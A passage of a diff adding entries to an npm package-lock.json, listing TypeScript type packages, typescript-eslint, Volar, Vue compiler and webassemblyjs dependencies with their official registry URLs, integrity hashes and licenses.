"integrity": "sha512-anKkLmZZ+xm4p8JWBf4hElkM4XR+EZeA2M9BAkkTldmcyDY4mbdIJnRghDJH3Ov5ooY7/UAoENtmdMSkaAd7Cw==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/hammerjs": { + "version": "2.0.41", + "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.41.tgz", + "integrity": "sha512-ewXv/ceBaJprikMcxCmWU1FKyMAQ2X7a9Gtmzw8fcg2kIePI1crERDM818W+XYrxqdBBOdlf2rm137bU+BltCA==", + "license": "MIT" + }, + "node_modules/@types/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==", + "license": "MIT" + }, + "node_modules/@types/http-proxy": { + "version": "1.17.9", + "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.9.tgz", + "integrity": "sha512-QsbSjA/fSk7xB+UXlCT3wHBy5ai9wOcNDWwZAtud+jXhwOM3l+EYZh8Lng4+/6n8uar0J7xILzqftJdJ/Wdfkw==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/istanbul-lib-coverage": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz", + "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==", + "license": "MIT" + }, + "node_modules/@types/istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==", + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "*" + } + }, + "node_modules/@types/istanbul-reports": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz", + "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==", + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-report": "*" + } + }, + "node_modules/@types/json-schema": { + "version": "7.0.11", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.11.tgz", + "integrity": "sha512-wOuvG1SN4Us4rez+tylwwwCV1psiNVOkJeM3AUWUNWg/jDQY2+HE/444y5gc+jBmRqASOm2Oeh5c1axHobwRKQ==", + "license": "MIT" + }, + "node_modules/@types/json5": { + "version": "0.0.29", + "resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz", + "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==", + "license": "MIT" + }, + "node_modules/@types/lodash": { + "version": "4.14.182", + "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.14.182.tgz", + "integrity": "sha512-/THyiqyQAP9AfARo4pF+aCGcyiQ94tX/Is2I7HofNRqoYLgN1PBoOWu2/zTA5zMxzP5EFutMtWtGAFRKUe961Q==", + "license": "MIT" + }, + "node_modules/@types/mime": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.2.tgz", + "integrity": "sha512-YATxVxgRqNH6nHEIsvg6k2Boc1JHI9ZbH5iWFFv/MTkchz3b1ieGDa5T0a9RznNdI0KhVbdbWSN+KWWrQZRxTw==", + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "14.18.21", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.18.21.tgz", + "integrity": "sha512-x5W9s+8P4XteaxT/jKF0PSb7XEvo5VmqEWgsMlyeY4ZlLK8I6aH6g5TPPyDlLAep+GYf4kefb7HFyc7PAO3m+Q==", + "license": "MIT" + }, + "node_modules/@types/parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==", + "license": "MIT" + }, + "node_modules/@types/prettier": { + "version": "2.6.3", + "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.6.3.tgz", + "integrity": "sha512-ymZk3LEC/fsut+/Q5qejp6R9O1rMxz3XaRHDV6kX8MrGAhOSPqVARbDi+EZvInBpw+BnCX3TD240byVkOfQsHg==", + "license": "MIT" + }, + "node_modules/@types/prop-types": { + "version": "15.7.5", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.5.tgz", + "integrity": "sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w==", + "license": "MIT" + }, + "node_modules/@types/q": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@types/q/-/q-1.5.5.tgz", + "integrity": "sha512-L28j2FcJfSZOnL1WBjDYp2vUHCeIFlyYI/53EwD/rKUBQ7MtUUfbQWiyKJGpcnv4/WgrhWsFKrcPstcAt/J0tQ==", + "license": "MIT" + }, + "node_modules/@types/qs": { + "version": "6.9.7", + "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.7.tgz", + "integrity": "sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw==", + "license": "MIT" + }, + "node_modules/@types/range-parser": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.4.tgz", + "integrity": "sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw==", + "license": "MIT" + }, + "node_modules/@types/react": { + "version": "18.0.15", + "resolved": "https://registry.npmjs.org/@types/react/-/react-18.0.15.tgz", + "integrity": "sha512-iz3BtLuIYH1uWdsv6wXYdhozhqj20oD4/Hk2DNXIn1kFsmp9x8d9QB6FnPhfkbhd2PgEONt9Q1x/ebkwjfFLow==", + "license": "MIT", + "dependencies": { + "@types/prop-types": "*", + "@types/scheduler": "*", + "csstype": "^3.0.2" + } + }, + "node_modules/@types/react-transition-group": { + "version": "4.4.5", + "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.5.tgz", + "integrity": "sha512-juKD/eiSM3/xZYzjuzH6ZwpP+/lejltmiS3QEzV/vmb/Q8+HfDmxu+Baga8UEMGBqV88Nbg4l2hY/K2DkyaLLA==", + "license": "MIT", + "dependencies": { + "@types/react": "*" + } + }, + "node_modules/@types/react/node_modules/csstype": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.0.tgz", + "integrity": "sha512-uX1KG+x9h5hIJsaKR9xHUeUraxf8IODOwq9JLNPq6BwB04a/xgpq3rcx47l5BZu5zBPlgD342tdke3Hom/nJRA==", + "license": "MIT" + }, + "node_modules/@types/resolve": { + "version": "1.17.1", + "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.17.1.tgz", + "integrity": "sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==", + "license": "MIT" + }, + "node_modules/@types/scheduler": { + "version": "0.16.2", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.2.tgz", + "integrity": "sha512-hppQEBDmlwhFAXKJX2KnWLYu5yMfi91yazPb2l+lbJiwW+wdo1gNeRA+3RgNSO39WYX2euey41KEwnqesU2Jew==", + "license": "MIT" + }, + "node_modules/@types/serve-index": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/@types/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha512-d/Hs3nWDxNL2xAczmOVZNj92YZCS6RGxfBPjKzuu/XirCgXdpKEb88dYNbrYGint6IVWLNP+yonwVAuRC0T2Dg==", + "license": "MIT", + "dependencies": { + "@types/express": "*" + } + }, + "node_modules/@types/serve-static": { + "version": "1.13.10", + "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.13.10.tgz", + "integrity": "sha512-nCkHGI4w7ZgAdNkrEu0bv+4xNV/XDqW+DydknebMOQwkpDGx8G+HTlj7R7ABI8i8nKxVw0wtKPi1D+lPOkh4YQ==", + "license": "MIT", + "dependencies": { + "@types/mime": "^1", + "@types/node": "*" + } + }, + "node_modules/@types/sinonjs__fake-timers": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/@types/sinonjs__fake-timers/-/sinonjs__fake-timers-8.1.1.tgz", + "integrity": "sha512-0kSuKjAS0TrGLJ0M/+8MaFkGsQhZpB6pxOmvS3K8FYI72K//YmdfoW9X2qPsAKh1mkwxGD5zib9s1FIFed6E8g==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/sizzle": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/@types/sizzle/-/sizzle-2.3.3.tgz", + "integrity": "sha512-JYM8x9EGF163bEyhdJBpR2QX1R5naCJHC8ucJylJ3w9/CVBaskdQ8WqBf8MmQrd1kRvp/a4TS8HJ+bxzR7ZJYQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/sockjs": { + "version": "0.3.33", + "resolved": "https://registry.npmjs.org/@types/sockjs/-/sockjs-0.3.33.tgz", + "integrity": "sha512-f0KEEe05NvUnat+boPTZ0dgaLZ4SfSouXUgv5noUiefG2ajgKjmETo9ZJyuqsl7dfl2aHlLJUiki6B4ZYldiiw==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/stack-utils": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.1.tgz", + "integrity": "sha512-Hl219/BT5fLAaz6NDkSuhzasy49dwQS/DSdu4MdggFB8zcXv7vflBI3xp7FEmkmdDkBUI2bPUNeMttp2knYdxw==", + "license": "MIT" + }, + "node_modules/@types/trusted-types": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.2.tgz", + "integrity": "sha512-F5DIZ36YVLE+PN+Zwws4kJogq47hNgX3Nx6WyDJ3kcplxyke3XIzB8uK5n/Lpm1HBsbGzd6nmGehL8cPekP+Tg==", + "license": "MIT" + }, + "node_modules/@types/ws": { + "version": "8.5.3", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.3.tgz", + "integrity": "sha512-6YOoWjruKj1uLf3INHH7D3qTXwFfEsg1kf3c0uDdSBJwfa/llkwIjrAGV7j7mVgGNbzTQ3HiHKKDXl6bJPD97w==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/yargs": { + "version": "16.0.4", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz", + "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==", + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@types/yargs-parser": { + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.0.tgz", + "integrity": "sha512-iO9ZQHkZxHn4mSakYV0vFHAVDyEOIJQrV2uZ06HxEPcx+mt8swXoZHIbaaJ2crJYFfErySgktuTZ3BeLz+XmFA==", + "license": "MIT" + }, + "node_modules/@types/yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha512-Cn6WYCm0tXv8p6k+A8PvbDG763EDpBoTzHdA+Q/MF6H3sapGjCm9NzoaJncJS9tUKSuCoDs9XHxYYsQDgxR6kw==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@typescript-eslint/eslint-plugin": { + "version": "5.30.6", + "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-5.30.6.tgz", + "integrity": "sha512-J4zYMIhgrx4MgnZrSDD7sEnQp7FmhKNOaqaOpaoQ/SfdMfRB/0yvK74hTnvH+VQxndZynqs5/Hn4t+2/j9bADg==", + "license": "MIT", + "dependencies": { + "@typescript-eslint/scope-manager": "5.30.6", + "@typescript-eslint/type-utils": "5.30.6", + "@typescript-eslint/utils": "5.30.6", + "debug": "^4.3.4", + "functional-red-black-tree": "^1.0.1", + "ignore": "^5.2.0", + "regexpp": "^3.2.0", + "semver": "^7.3.7", + "tsutils": "^3.21.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "@typescript-eslint/parser": "^5.0.0", + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/eslint-plugin/node_modules/semver": { + "version": "7.3.7", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", + "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/experimental-utils": { + "version": "5.30.6", + "resolved": "https://registry.npmjs.org/@typescript-eslint/experimental-utils/-/experimental-utils-5.30.6.tgz", + "integrity": "sha512-bqvT+0L8IjtW7MCrMgm9oVNxs4g7mESro1mm5c1/SNfTnHuFTf9OUX1WzVkTz75M9cp//UrTrSmGvK48NEKshQ==", + "license": "MIT", + "dependencies": { + "@typescript-eslint/utils": "5.30.6" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/@typescript-eslint/parser": { + "version": "5.30.6", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-5.30.6.tgz", + "integrity": "sha512-gfF9lZjT0p2ZSdxO70Xbw8w9sPPJGfAdjK7WikEjB3fcUI/yr9maUVEdqigBjKincUYNKOmf7QBMiTf719kbrA==", + "license": "BSD-2-Clause", + "dependencies": { + "@typescript-eslint/scope-manager": "5.30.6", + "@typescript-eslint/types": "5.30.6", + "@typescript-eslint/typescript-estree": "5.30.6", + "debug": "^4.3.4" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/scope-manager": { + "version": "5.30.6", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-5.30.6.tgz", + "integrity": "sha512-Hkq5PhLgtVoW1obkqYH0i4iELctEKixkhWLPTYs55doGUKCASvkjOXOd/pisVeLdO24ZX9D6yymJ/twqpJiG3g==", + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "5.30.6", + "@typescript-eslint/visitor-keys": "5.30.6" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/type-utils": { + "version": "5.30.6", + "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-5.30.6.tgz", + "integrity": "sha512-GFVVzs2j0QPpM+NTDMXtNmJKlF842lkZKDSanIxf+ArJsGeZUIaeT4jGg+gAgHt7AcQSFwW7htzF/rbAh2jaVA==", + "license": "MIT", + "dependencies": { + "@typescript-eslint/utils": "5.30.6", + "debug": "^4.3.4", + "tsutils": "^3.21.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/types": { + "version": "5.30.6", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-5.30.6.tgz", + "integrity": "sha512-HdnP8HioL1F7CwVmT4RaaMX57RrfqsOMclZc08wGMiDYJBsLGBM7JwXM4cZJmbWLzIR/pXg1kkrBBVpxTOwfUg==", + "license": "MIT", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/typescript-estree": { + "version": "5.30.6", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-5.30.6.tgz", + "integrity": "sha512-Z7TgPoeYUm06smfEfYF0RBkpF8csMyVnqQbLYiGgmUSTaSXTP57bt8f0UFXstbGxKIreTwQCujtaH0LY9w9B+A==", + "license": "BSD-2-Clause", + "dependencies": { + "@typescript-eslint/types": "5.30.6", + "@typescript-eslint/visitor-keys": "5.30.6", + "debug": "^4.3.4", + "globby": "^11.1.0", + "is-glob": "^4.0.3", + "semver": "^7.3.7", + "tsutils": "^3.21.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": { + "version": "7.3.7", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", + "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/utils": { + "version": "5.30.6", + "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-5.30.6.tgz", + "integrity": "sha512-xFBLc/esUbLOJLk9jKv0E9gD/OH966M40aY9jJ8GiqpSkP2xOV908cokJqqhVd85WoIvHVHYXxSFE4cCSDzVvA==", + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.9", + "@typescript-eslint/scope-manager": "5.30.6", + "@typescript-eslint/types": "5.30.6", + "@typescript-eslint/typescript-estree": "5.30.6", + "eslint-scope": "^5.1.1", + "eslint-utils": "^3.0.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/@typescript-eslint/utils/node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@typescript-eslint/utils/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/@typescript-eslint/visitor-keys": { + "version": "5.30.6", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-5.30.6.tgz", + "integrity": "sha512-41OiCjdL2mCaSDi2SvYbzFLlqqlm5v1ZW9Ym55wXKL/Rx6OOB1IbuFGo71Fj6Xy90gJDFTlgOS+vbmtGHPTQQA==", + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "5.30.6", + "eslint-visitor-keys": "^3.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@volar/language-core": { + "version": "2.4.10", + "resolved": "https://registry.npmjs.org/@volar/language-core/-/language-core-2.4.10.tgz", + "integrity": "sha512-hG3Z13+nJmGaT+fnQzAkS0hjJRa2FCeqZt6Bd+oGNhUkQ+mTFsDETg5rqUTxyzIh5pSOGY7FHCWUS8G82AzLCA==", + "license": "MIT", + "dependencies": { + "@volar/source-map": "2.4.10" + } + }, + "node_modules/@volar/source-map": { + "version": "2.4.10", + "resolved": "https://registry.npmjs.org/@volar/source-map/-/source-map-2.4.10.tgz", + "integrity": "sha512-OCV+b5ihV0RF3A7vEvNyHPi4G4kFa6ukPmyVocmqm5QzOd8r5yAtiNvaPEjl8dNvgC/lj4JPryeeHLdXd62rWA==", + "license": "MIT" + }, + "node_modules/@volar/typescript": { + "version": "2.4.10", + "resolved": "https://registry.npmjs.org/@volar/typescript/-/typescript-2.4.10.tgz", + "integrity": "sha512-F8ZtBMhSXyYKuBfGpYwqA5rsONnOwAVvjyE7KPYJ7wgZqo2roASqNWUnianOomJX5u1cxeRooHV59N0PhvEOgw==", + "license": "MIT", + "dependencies": { + "@volar/language-core": "2.4.10", + "path-browserify": "^1.0.1", + "vscode-uri": "^3.0.8" + } + }, + "node_modules/@vue/compiler-core": { + "version": "3.5.13", + "resolved": "https://registry.npmjs.org/@vue/compiler-core/-/compiler-core-3.5.13.tgz", + "integrity": "sha512-oOdAkwqUfW1WqpwSYJce06wvt6HljgY3fGeM9NcVA1HaYOij3mZG9Rkysn0OHuyUAGMbEbARIpsG+LPVlBJ5/Q==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.25.3", + "@vue/shared": "3.5.13", + "entities": "^4.5.0", + "estree-walker": "^2.0.2", + "source-map-js": "^1.2.0" + } + }, + "node_modules/@vue/compiler-core/node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/@vue/compiler-core/node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", + "license": "MIT" + }, + "node_modules/@vue/compiler-dom": { + "version": "3.5.13", + "resolved": "https://registry.npmjs.org/@vue/compiler-dom/-/compiler-dom-3.5.13.tgz", + "integrity": "sha512-ZOJ46sMOKUjO3e94wPdCzQ6P1Lx/vhp2RSvfaab88Ajexs0AHeV0uasYhi99WPaogmBlRHNRuly8xV75cNTMDA==", + "license": "MIT", + "dependencies": { + "@vue/compiler-core": "3.5.13", + "@vue/shared": "3.5.13" + } + }, + "node_modules/@vue/compiler-vue2": { + "version": "2.7.16", + "resolved": "https://registry.npmjs.org/@vue/compiler-vue2/-/compiler-vue2-2.7.16.tgz", + "integrity": "sha512-qYC3Psj9S/mfu9uVi5WvNZIzq+xnXMhOwbTFKKDD7b1lhpnn71jXSFdTQ+WsIEk0ONCd7VV2IMm7ONl6tbQ86A==", + "license": "MIT", + "dependencies": { + "de-indent": "^1.0.2", + "he": "^1.2.0" + } + }, + "node_modules/@vue/language-core": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/@vue/language-core/-/language-core-2.1.6.tgz", + "integrity": "sha512-MW569cSky9R/ooKMh6xa2g1D0AtRKbL56k83dzus/bx//RDJk24RHWkMzbAlXjMdDNyxAaagKPRquBIxkxlCkg==", + "license": "MIT", + "dependencies": { + "@volar/language-core": "~2.4.1", + "@vue/compiler-dom": "^3.4.0", + "@vue/compiler-vue2": "^2.7.16", + "@vue/shared": "^3.4.0", + "computeds": "^0.0.1", + "minimatch": "^9.0.3", + "muggle-string": "^0.4.1", + "path-browserify": "^1.0.1" + }, + "peerDependencies": { + "typescript": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@vue/language-core/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/@vue/language-core/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/@vue/shared": { + "version": "3.5.13", + "resolved": "https://registry.npmjs.org/@vue/shared/-/shared-3.5.13.tgz", + "integrity": "sha512-/hnE/qP5ZoGpol0a5mDi45bOd7t3tjYJBjsgCsivow7D48cJeV5l05RD82lPqi7gRiphZM37rnhW1l6ZoCNNnQ==", + "license": "MIT" + }, + "node_modules/@webassemblyjs/ast": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.12.1.tgz", + "integrity": "sha512-EKfMUOPRRUTy5UII4qJDGPpqfwjOmZ5jeGFwid9mnoqIFK+e0vqoi1qH56JpmZSzEL53jKnNzScdmftJyG5xWg==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/helper-numbers": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6" + } + }, + "node_modules/@webassemblyjs/floating-point-hex-parser": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz", + "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==", + "license": "MIT" + }, + "node_modules/@webassemblyjs/helper-api-error": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz", + "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==", + "license": "MIT" + }, + "node_modules/@webassemblyjs/helper-buffer": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.12.1.tgz", + "integrity": "sha512-nzJwQw99DNDKr9BVCOZcLuJJUlqkJh+kVzVl6Fmq/tI5ZtEyWT1KZMyOXltXLZJmDtvLCDgwsyrkohEtopTXCw==", + "license": "MIT" + }, + "node_modules/@webassemblyjs/helper-numbers": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz", + "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/floating-point-hex-parser": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", + "@xtuc/long": "4.2.2" + } + }, + 